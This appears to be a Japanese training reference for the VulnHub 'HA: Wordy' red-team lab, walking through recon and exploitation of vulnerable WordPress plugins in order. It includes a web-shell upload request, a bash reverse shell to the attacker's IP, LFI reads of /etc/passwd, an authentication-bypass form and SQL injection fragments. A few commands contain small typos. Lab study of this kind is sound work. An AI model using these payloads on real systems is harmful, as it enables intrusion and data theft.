

レッドチーム演習：VulnHub：Wordy

「レッドチーム演習：VulnHub：Wordy」セクションに関する コマンド & リファレンスです。コマンドはセクションのレクチャー順に紹介してあります。既出コマンドは「由来」、「用途」の説明が省略されている場合があります。

VulnHub

- HA: Wordy, <https://www.vulnhub.com/entry/ha-wordy,363/>

スキャンング

nmap

由来：Network Mapper 用途：ネットワーク探索とセキュリティ監査を行う

コマンド構文

使用例：nmap コマンドによる PING スキャンを実行します。

```
$ sudo nmap -sn 172.16.208.0/24
```

使用例：nmap コマンドによるポートスキャンを実行します。オプションの意図は次のとおり。

- -Pn オプション ping をしない
- -T4 オプション 高速実行の指定
- -A オプション バージョン検出を指定

```
$ nmap -Pn -T4 -A -ON report_wordy wordy.local
```

cat

由来：conCATenate（つなぐ、連結する） 用途：ファイルの内容を表示する

コマンド構文

使用例：report_wordy ファイルの内容を表示させます。

```
$ cat report_wordy
```

隠されたウェブコンテンツの探索

dirb

由来：DIRectory Bruteforce 用途：Webサイトに隠されているオブジェクトをブルートフォースにて探索する

コマンド構文

使用例：スキャン対象として wordy.local を指定し探索します。

```
$ dirb http://wordy.local
```

WPScanによる脆弱性診断

wpscan

由来：WordPress Scanner 用途：WordPress に関するセキュリティ監査を行う

コマンド構文

使用例：--api-token オプションにて 環境変数 \$WPVULNDB_API_TOKEN に設定されているトークンの値を読み込みます。--url オプションにてスキャン対象として <http://wordy.local/wordpress> を指定します。--enumerate オプションにて4つの項目に関する列挙を行います。--plugins-detection オプションにてプラグイン検出モードを設定します。

- vp, 脆弱なプラグイン
- vt, 脆弱なテーマ
- tt, Timthumb 画像サムネイルに関する脆弱性
- u, ログインユーザーのIDと表示名

```
$ wpscan --api-token $WPVULNDB_API_TOKEN --url  
http://wordy.local/wordpress --enumerate vp,vt,tt,u --plugins-  
detection mixed
```

WPScan - jqコマンドを使用したログ分析

コマンド構文

使用例：wpscan コマンドの結果を JSON 形式で report_wpscan_wordy.json ファイルに出力します。

```
$ wpscan --api-token $WPVULNDB_API_TOKEN --url  
http://wordy.local/wordpress --enumerate vp,vt,tt,u --plugins-  
detection mixed --output report_wpscan_wordy.json --format json
```

jq

由来：JSON Query 用途：JSON形式のデータを加工、整形する

コマンド構文

使用例：report_wpscan_wordy.json ファイルから WordPress のバージョンを表示します。

```
$ cat report_wpscan_wordy.json | jq '.version.number'
```

出力結果からダブルクォート「"」記号が不要な場合には -r オプションを指定します。

```
$ cat report_wpscan_wordy.json | jq -r '.version.number'
```

使用例：report_wpscan_wordy.json ファイルから WordPress のユーザー一覧（users 配列の key）を表示します。

```
$ cat report_wpscan_wordy.json | jq '.users | keys'
```

使用例：report_wpscan_wordy.json ファイルから WordPress のプラグイン一覧（plugins 配列の key）を表示します。

```
$ report_wpscan_wordy.json | jq '.plugins | keys'
```

使用例：report_wpscan_wordy.json ファイルから WordPress のプラグイン件数（plugins 配列の 件数）を表示します。

```
$ report_wpscan_wordy.json | jq '.plugins | length'
```

使用例：report_wpscan_wordy.json ファイルから WordPress のプラグインが抱える脆弱性のタイトルを一覧表示します。

```
$ cat report_wpscan_wordy.json | jq  
' .plugins[].vulnerabilities[].title '
```

WC

由来：Word Count 用途：テキストファイルの文字数や行数を数える

コマンド構文

使用例：jq コマンドによる処理結果から行数をカウントします。

- -lオプション 改行の数を表示する

```
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | wc -l
```

WPScan - 脆弱性の選択

grep

由来：Global Regular Expression Print 用途：特定の文字を含む行を抽出する

コマンド構文

使用例：jq コマンドによる処理結果から 脆弱性タイプ（File Upload / File Inclusion / Privilege Escalation / SQL / CSRF） に該当する行を表示します。

```
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | grep "File Upload"  
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | grep "File Inclusion"  
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | grep "Privilege Escalation"  
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | grep "SQL"  
$ cat report_wpscan_wordy.json | jq -r  
'plugins[].vulnerabilities[].title' | grep "CSRF"
```

File Upload - ReFlex Gallery - Metasploit Framework

msfconsole

用途：攻撃コードの作成、実行を行う

コマンド構文

使用例：CVE-2015-4133 のコードを使ってリモートからのアクセスを確立する

1. 使用するモジュールを検索する
2. 使用する exploit を選択し、ロード、読み込む
3. exploit の詳細を確認する
4. exploit を使用するのに必要な設定項目を確認する

```
$ msfconsole
msf6 > search CVE-2015-4133
msf6 > use exploit/unix/webapp/wp_reflexgallery_file_upload
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > info
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > show options
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOSTS
wordy.local
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set
TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > exploit
```

File Upload - ReFlex Gallery - phpWebShellの設置

EDB-ID: 36374

用途：ReFlex Gallery プラグインに含まれている php.php に ファイルを無制限に受け入れる脆弱性があり、任意のPHPコードが実行できる

コマンド構文

使用例：

1. 任意の名前のディレクトリ（例：/wp-content/uploads/2021/hacking）を作成
2. POSTメソッドにて php.php へ phpWebShell のコードを送信

- 任意の名前のディレクトリ（例：/wp-content/uploads/2021/hacking）を作成

```
$ curl -s "http://wordy.local/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=hacking"
```

- POSTメソッドにて php.php へ送信する phpWebShell のコードは次のとおりです。

```
POST /wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=hacking
HTTP/1.1
Host: wordy.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: multipart/form-data; boundary=_hacking
Content-Length: 164

--_hacking
Content-Disposition: form-data; name="qqfile"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET["cmd"]);?>
--_hacking
```

File Upload - ReFlex Gallery - インタラクティブシェルによるフラグ獲得

nc

由来：Network Catenate 用途：TCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信する

コマンド構文

使用例：リバースシェルを待ち受けるクライアント側 netcat を起動します。

- n, DNSによる名前解決を行わない
- l, リッスンモード
- v, 標準メッセージの出力
- p, ポートの指定, 4444番ポートを指定

```
$ nc -nlvp 4444
```

1. リバースシェルを待ち受けるクライアント側 netcat を起動する
 2. POSTメソッドにて php.php へ rshell.data のコードを送信
 3. GETメソッドにて rshell.php へアクセスしサーバー側 リバースシェルを起動する
- POSTメソッドにて php.php へ送信する rshell.data のコードは次のとおりです。

```
POST /wordpress/wp-content/plugins/reflex-
gallery/admin/scripts/FileUploader/php.php?Year=2021&Month=hacking
HTTP/1.1
Host: wordy.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Content-Type: multipart/form-data; boundary=_hacking
Content-Length: 210

--_hacking
Content-Disposition: form-data; name="qqfile"; filename="rshell.php"
Content-Type: application/octet-stream

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.208.7/4444
0>&1'");?>
--_hacking
```

```
bash -i >& /dev/tcp/172.16.208.7/4444 0>&1
```

- `bash -i`, 対話型のシェルを開く
- `>&`, 標準出力, 標準エラーの双方を、後述のファイル名へリダイレクトする
- `/dev/tcp/172.16.208.7/4444`, 対話型シェルのリダイレクト先。
「172.16.208.7」はクライアント側 netcat を起動したコンピュータの IP アドレスに置き換えてください。
- `0>&1`, `fd0(stdin)`を `fd1(stdout)` にリダイレクトする
- `curl` コマンドを使用して GET メソッドにて `rshell.php` へアクセスしサーバー側リバースシェルを起動します。

```
$ curl -s http://wordy.local/wordpress/wp-
content/uploads/2021/hacking/rshell.php
```

LFI - Mail Masta - 脆弱性の選択

EDB-ID: 40290

用途：Mail Masta プラグインに含まれている複数のPHPスクリプトにローカルファイルをインクルードできる脆弱性がある

- /inc/campaign/count_of_send.php
- /inc/lists/csvexport.php

コマンド構文

使用例：wordy.local 上の /etc/passwd ファイルを表示する

```
$ curl -s http://wordy.local/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
```

```
$ curl -s http://wordy.local/wordpress/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
```

LFI - Site Editor - passwdファイルの閲覧

CVE-2018-7422

用途：Site Editor プラグインに含まれている ajax_shortcode_pattern.php スクリプトにローカルファイルをインクルードできる脆弱性がある

コマンド構文

使用例：wordy.local 上の /etc/passwd ファイルを表示する

```
$ curl -s http://wordy.local/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
```

LFI - Site Editor - 重要なファイルの閲覧

base64

用途：標準入力のデータをBASE64でエンコードまたはデコードして標準出力する

コマンド構文

使用例：文字列を BASE64 でデコードして標準出力する

```
$ echo "YWFyZGk6YWFydG1AZ21hawwuY29t" | base64 -d  
aarti:aarti@gmail.com
```

PE - WP Support Plus - フラグ獲得

EDB-ID: 41006

用途：wp_set_auth_cookie() 関数の使い方が誤っているためパスワードを知らなくともログインができる脆弱性がある

- 検証用, Proof of Concept コード

```
<form method="post" action="http://wp/wp-admin/admin-ajax.php">  
  Username: <input type="text" name="username" value="aarti">  
  <input type="hidden" name="email" value="aarti@gmail.com">  
  <input type="hidden" name="action" value="loginGuestFacebook">  
  <input type="submit" value="Login">  
</form>
```

SQLi - WP Symposium - 脆弱性の選択

msfconsole

用途：攻撃コードの作成、実行を行う

コマンド構文

使用例：CVE-2015-6522 のコードを使ってリモートからのアクセスを確立する

```
$ msfconsole
msf6 > search CVE-2015-6522
msf6 > use auxiliary/admin/http/wp_symposium_sql_injection
msf6 auxiliary(admin/http/wp_symposium_sql_injection) > info
msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show options
msf6 auxiliary(admin/http/wp_symposium_sql_injection) > set RHOSTS
wordy.local
msf6 auxiliary(admin/http/wp_symposium_sql_injection) > set TARGETURI
/wordpress
msf6 auxiliary(admin/http/wp_symposium_sql_injection) > exploit
```

SQLi - WP Symposium - アカウントの件数を推定 / アカウントの情報を取得

SQL

由来：Structured Query Language

コマンド構文

使用例：ORDER BY句 を使って id レコードを昇順・降順にソートしアカウントの件数を推定する

- 昇順ソート, アセンディング

```
id from wp_users order by id asc limit 1;--
```

- 降順ソート, ディセンディング

```
id from wp_users order by id desc limit 1;--
```

使用例：wp_users テーブルより id=1 の user_login,user_pass,user_email を取得し、区切り文字（1111）にて文字列結合（CONCAT_WS）する

```
concat_ws(1111,user_login,user_pass,user_email) from wp_users where  
id=1;--
```

RFI - Gwolle Guestbook - php-reverse-shellの確立

EDB-ID: 38861

用途：Gwolle Guestbook プラグインに含まれている ajaxresponse.php スクリプトの abspath パラメータは PHP の require() 関数の使用時に適切にサニタイズを行っていません。このため、任意のリモート・サーバから wp-load.php という名前のファイルをインクルードし、その内容を脆弱なウェブ・サーバー上で実行することができる脆弱性がある

Python ローカルWebサーバー

- SimpleHTTPServer モジュール - Python 2x
- http.server モジュール - Python 3x

セクション 参考資料

スキャンニング

- Nmap, <https://nmap.org/>

WPScanによる脆弱性診断

- WPScan: WordPress Security, <https://wpscan.com/>
- WPScan - GitHub, <https://github.com/wpscanteam/wpscan>
- wpscan | Kali Linux Tools, <https://www.kali.org/tools/wpscan/>

WPScan - jqコマンドを使用したログ分析

- jq - GitHub, <https://stedolan.github.io/jq/>
- jqplay, <https://jqplay.org/>

WPScan - 脆弱性の選択

- CWE-434 File Upload, <https://jvndb.jvn.jp/ja/cwe/CWE-434.html>
- CWE-23 File Inclusion, <https://jvndb.jvn.jp/ja/cwe/CWE-23.html>
- CWE-264 Privilege Escalation, <https://jvndb.jvn.jp/ja/cwe/CWE-264.html>
- CWE-89 SQL Injection, <https://jvndb.jvn.jp/ja/cwe/CWE-89.html>
- CWE-352 CSRF, <https://jvndb.jvn.jp/ja/cwe/CWE-352.html>

File Upload - ReFlex Gallery

- JVNDB-2015-002851, WordPress 用 ReFlex Gallery プラグインの admin/scripts/FileUploader/php.php における任意の PHP コードを実行される脆弱性, <https://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-002851.html>
- EDB-ID:36374, WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload, <https://www.exploit-db.com/exploits/36374>

LFI - Mail Masta

- JVNDB-2016-009497, WordPress 用 mail-masta プラグインにおける入力確認に関する脆弱性, <https://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-009497.html>
- EDB-ID:40290, WordPress Plugin Mail Masta 1.0 - Local File Inclusion, <https://www.exploit-db.com/exploits/40290>

LFI - Site Editor

- JVNDB-2018-003349, WordPress 用 Site Editor プラグインにおける情報漏えいに関する脆弱性, <https://jvndb.jvn.jp/ja/contents/2018/JVNDB-2018-003349.html>
- Full Disclosure, [CVE-2018-7422] Local File Inclusion (LFI) vulnerability in WordPress Site Editor Plugin, <https://seclists.org/fulldisclosure/2018/Mar/40>
- Site Editor <= 1.1.1 - Local File Inclusion (LFI), <https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44>

LFI - Site Editor - 重要なファイルの閲覧

- LinEnum.sh - GitHub, <https://github.com/rebootuser/LinEnum>
- カーネル情報, /proc/version
- ログインシェルとして有効なファイル, /etc/shells
- crontab の内容, /etc/crontab
- マウント・ポイントのリスト, /etc/fstab
- ApacheでBASIC認証の設定, /etc/apache2/.htpasswd

Privilege Escalation - WP Support Plus Responsive Ticket System

- EDB-ID:41006, WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation , <https://www.exploit-db.com/exploits/41006>
- Code Reference: wp_set_auth_cookie(), https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
- WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation, <https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f>

SQLi - WP Symposium

- JVNDB-2015-004326, WordPress 用 WP Symposium プラグインにおける SQL インジェクションの脆弱性, <https://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-004326.html>
- EDB-ID:37824, WordPress Plugin WP Symposium 15.1 - 'get_album_item.php' SQL Injection, <https://www.exploit-db.com/exploits/37824>
- WP Symposium <= 15.5.1 - Unauthenticated SQL Injection, <https://wpscan.com/vulnerability/8140>
- Using Burp Repeater - PortSwigger, <https://portswigger.net/burp/documentation>

[/desktop/tools/repeater/using](#)

- 行のソート - MySQL 5.6 リファレンスマニュアル, <https://dev.mysql.com/doc/refman/5.6/ja/sorting-rows.html>
- 文字列関数 - MySQL 5.6 リファレンスマニュアル, <https://dev.mysql.com/doc/refman/5.6/ja/string-functions.html>
- データベース構造 - WordPress Codex日本語版, <https://wpdocs.osdn.jp/%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9%E6%A7%8B%E9%80%A0>

RFI - Gwolle Guestbook

- JVNDB-2015-007878, WordPress 用 Gwolle Guestbook プラグインにおけるコードインジェクションの脆弱性, <https://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-007878.html>
- EDB-ID:38861, WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion, <https://www.exploit-db.com/exploits/38861>
- require - PHPマニュアル, <https://www.php.net/manual/ja/function.require.php>
- php-reverse-shell - pentestmonkey, <https://pentestmonkey.net/tools/web-shells/php-reverse-shell>

GTFOBins - ルート権限への昇格

- GTFOBins, <https://gtfobins.github.io/>
- wget - GTFOBins, <https://gtfobins.github.io/gtfobins/wget/>
- Linux for Pentester: Wget Privilege Escalation - Hacking Articles, <https://www.hackingarticles.in/linux-for-pentester-wget-privilege-escalation/>
- HA : Wordy Vulnhub Walkthrough - Hacking Articles, <https://www.hackingarticles.in/ha-wordy-vulnhub-walkthrough/>